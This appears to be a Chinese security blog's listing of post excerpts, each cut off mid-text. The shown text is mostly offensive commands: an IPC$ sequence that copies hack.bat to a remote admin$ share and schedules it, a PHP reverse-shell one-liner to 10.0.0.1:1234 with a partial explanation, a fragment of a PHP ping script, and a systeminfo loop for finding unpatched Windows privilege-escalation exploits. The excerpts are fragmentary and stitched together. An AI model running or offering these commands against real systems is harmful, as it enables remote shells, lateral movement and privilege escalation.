eT48_Sec

几条命令，可能有些古董。 ipconfig ping 192.168.1.104 nc -v -z -w 5 192.168.1.104 139 445 net use \\192.168.1.104\ipc$ "test" /user:"test" copy hack.bat \\192.168.1.104\admin$ net time \\192.168.1.104 at

这条命令是 php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");' 作用是反弹一个交互式的shell 代码看得不太懂，所以很有必要了解一下。 -i interactive Force the shell to behave interactively. 文件描述符 0       stdin

直接上代码 <?PHP header('Content-Type: text/html; charset=utf-8'); error_reporting(0); function ping($host, $timeout = 1) { $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost"; $socket = socket_

利用systeminfo命令查找可用的windows提权EXP，输出的即为未打补丁的漏洞。 文章根据网络上的相关内容做了一点修改（更新） systeminfo>tmp.txt&(for /f %i in (MS.txt) do @type tmp.txt|@find /i "%i"||@echo %i)&del /f /q tmp.txt MS.txt中的内容为：